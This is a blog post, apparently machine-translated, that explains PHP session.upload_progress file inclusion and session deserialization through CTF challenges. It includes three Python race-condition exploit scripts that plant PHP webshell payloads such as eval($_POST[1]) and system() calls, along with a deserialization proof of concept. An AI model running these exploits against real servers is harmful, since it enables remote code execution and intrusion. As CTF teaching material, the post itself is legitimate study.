PHP session file inclusion and deserialization (utilization of session.upload_progress)

Posted by CiPH on Fri, 11 Feb 2022 18:37:03 +0100

preface

This article uses PHP_SESSION_UPLOAD_PROGRESS summarizes file inclusion and deserialization.

That is, the file inclusion and deserialization of PHP session

Introduction to session

Session is called "session control". The session object stores the attributes and configuration information required for a specific user session. In this way, when the user jumps between the Web pages of the application, the variables stored in the session object will not be lost, but will exist throughout the user session. When a user requests a Web page from an application, if the user does not have a session, the Web server will automatically create a session object. When a session expires or is abandoned, the server terminates the session. One of the most common uses of the session object is to store user preferences. For example, if the user indicates that he doesn't like viewing graphics, he can store this information in the session object

When visiting the website for the first time, seesion_ The start () function will create a unique Session ID and automatically save the Session ID to the client Cookie through the HTTP response header. At the same time, a file named Session ID is also created on the server side to save the Session information of the user. When the same user visits the website again, the Session ID saved in the Cookie will also be automatically carried over through the HTTP request header_ Instead of assigning a new Session ID, the start() function looks for a Session file with the same name as the Session ID in the server's hard disk, reads out the Session information previously saved for the user, and applies it in the current script to track the user

Contact between session and cookie:

The PHPSESSID in the cookie will be used as the file name of the server session sess__xxx, the browser directly finds the corresponding sessid in the server according to this

Storage mode of session in PHP

Direct release y4's summary

The contents of the session in php are not stored in memory, but in the form of files. The storage method is determined by the configuration item session save_ Handler, which is stored as a file by default.

php_serializeThe array is serialized by the serialize() function
phpKey name + vertical bar + value processed by serialize() function
php_binaryThe length of the key name corresponds to the ascii character + the key name + the value serialized by the serialize() function

php. Some configurations in ini

session.save_path = "" -- set the storage path of the session
session.save_handler = "" – set the user-defined storage function. If you want to use a function other than PHP's built-in session storage mechanism, you can use this function (database, etc.)
session.auto_start boolen – specifies whether the session module starts a session at the beginning of the request. The default is 0. Do not start
session.serialize_handler string – defines the name of the processor used to serialize / deserialize. php is used by default

Session.php upload_ progress

Version: PHP5 More than 4

stay php.ini There are several default options

1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on
3. session.upload_progress.prefix = "upload_progress_"
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
5. session.upload_progress.freq = "1%"
6. session.upload_progress.min_freq = "1"

among
enabled=on express upload_progress The function starts, which also means that when the browser uploads a file to the server, php The details of this file upload will be(Such as upload time, upload progress, etc)store in session among;

cleanup=on Indicates that when the file upload is completed, php The corresponding will be emptied immediately session This option is very important for the contents of the file;

name When it appears in the form, php The upload progress will be reported. The biggest advantage is that its value is controllable;

prefix+name Express as session Key name in

The inclusion and deserialization of the session file is the use of session upload_ Progress, you can save the uploaded file information in the session

File contains

Session is generally configured by default upload_ progress. Cleanup = on causes the contents of the session file to be emptied immediately after the file is uploaded. We need to conduct conditional competition If it is off, there is no need to use conditional competition

script:

File upload

import requests
import threading

session = requests.session()
sess = 'zzy' #The ID of the PHPSESSION that uploaded the file
url1 = "http://74a4727a-4f34-4d21-bd52-95c73db10eed.challenge.ctf.show:8080/"
url2 = "http://74a4727a-4f34-4d21-bd52-95c73db10eed.challenge.ctf.show:8080/upload/"
data1 = {
    'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'# Incoming malicious code
}
file = {
    'file': 'zzy'
}
cookies = {
    'PHPSESSID': sess
}


def write():
    while True:
        r = session.post(url1, data=data1, files=file, cookies=cookies)


def read():
    while True:
        r = session.get(url2)
        if 'flag' in r.text:
            print(r.text)


threads = [threading.Thread(target=write),
           threading.Thread(target=read)]
for t in threads:
    t.start()

File contains

import requests
import threading
import sys

session = requests.session()
sess = 'zzy'
url1 = "http://0bd266c6-b013-4a9a-97b5-2a644856a1e5.challenge.ctf.show:8080/"
url2 = 'http://0bd266c6-b013-4a9a-97b5-2a644856a1e5.challenge.ctf.show:8080/?file=/tmp/sess_' + sess

# After file is the path of phpsession
data1 = {
    'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>'
}
data2 = {
    '1': 'system("cat f*");'
}
file = {
    'file': 'abc'
}
cookies = {
    'PHPSESSID': sess
}


def write():
    while True:
        r = session.post(url1, data=data1, files=file, cookies=cookies)


def read():
    while True:
        r = session.post(url2, data=data2)
        if 'ctfshow{' in r.text:
            print(r.text)


threads = [threading.Thread(target=write),
           threading.Thread(target=read)]
for t in threads:
    t.start()

The difference between the above two scripts

File upload, with url1 The content of, post towards phpsession Medium explosion flag,Then visit url2,Can trigger upload Lower index.php,Then to.user.ini,Again png Zhongqu include PHPSESSION To execute the command. If it's an incoming pony, url2 need post Content, execute command

The file contains: url1 Content, to phpsession Write the pony in, and then pass url2 of file Parameter to include phpsession Path, plus url2 of post To execute the command and get flag. 

There is also a script about the file

import io
import requests
import threading
url = 'http://challenge-cfd946d2e06b103c.sandbox.ctfhub.com:10800'

def write(session):
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat /flag_is_here_not_are_but_you_find");?>dotasts'
    }
    while True:
        f = io.BytesIO(b'a' * 1024 * 10)
        response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})
def read(session):
    while True:
        response = session.get(url+'?file=/tmp/sess_flag')
        if 'dotasts' in response.text:
            print(response.text)
            break
        else:
            print('retry')

if __name__ == '__main__':
    session = requests.session()
    write = threading.Thread(target=write, args=(session,))
    write.daemon = True
    write.start()
    read(session)

Examples are CTF fifth space

ctfshow has a question. You can do the same

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);

Utilization conditions:

1. There is a File Inclusion Vulnerability

2. know session File storage path, you can try the default path

3. With read and write session File permissions

Deserialization

$_ The SESSION variable is directly controllable

The storage format of the php engine is the key name 𞓜 serialized_string, while php_ The storage format of the serialize engine is serialized_string. If the program uses two engines to handle it separately, there will be a problem

experiment:

1.php:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['z3eyond'] = $_GET['a'];
var_dump($_SESSION);

2.php

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class test{
    public $name;
    function __wakeup(){
        echo $this->name;
    }
}

First visit 1 PHP, pass in the parameter a=|O:4:"test":1:{s:4:"name";s:7:"z3eyond";} Visit 2 PHP, be careful not to forget|

You will find 2 PHP appeared z3eyond

This is because 1 php is using php_ The serialize engine processes, so it will only treat '|' as a normal character. Then visit 2 php, because it uses the php engine, when it encounters' | ', it will be regarded as the separator between the key name and the value, resulting in ambiguity. As a result, it directly deserializes the value after' | 'when parsing the session file.

Why 1 PHP can trigger 2 PHP__ wakeup()?

My understanding is that 1.php in session_start()Start session, write session File, and then access 2.php,session_start(),Read session Documents. And because the engine is different, it causes__wakeup Different.

About session_start():

When the session automatically starts or passes session_start() When you start manually, PHP The session manager is called internally open and read Callback function. Session manager may be PHP By default, it may also be provided by the extension( SQLite perhaps Memcached Extension), or through session_set_save_handler() Set the user-defined session manager. adopt read The existing session data returned by the callback function (stored in a special serialization format), PHP The data is automatically deserialized and populated $_SESSION Super global variable

So we can use this to construct attacks

CTF Title:

bestphp'revenge

$_ SESSION variable uncontrollable

Refer to this CTF question

CTFSHOW Spring Festival joy contest web7

Reference link

https://www.freebuf.com/vuls/202819.html
https://blog.csdn.net/solitudi/article/details/113588692?spm=1001.2014.3001.5502
https://y4tacker.blog.csdn.net/article/details/113588692?spm=1001.2014.3001.5502

Topics: PHP server Web Security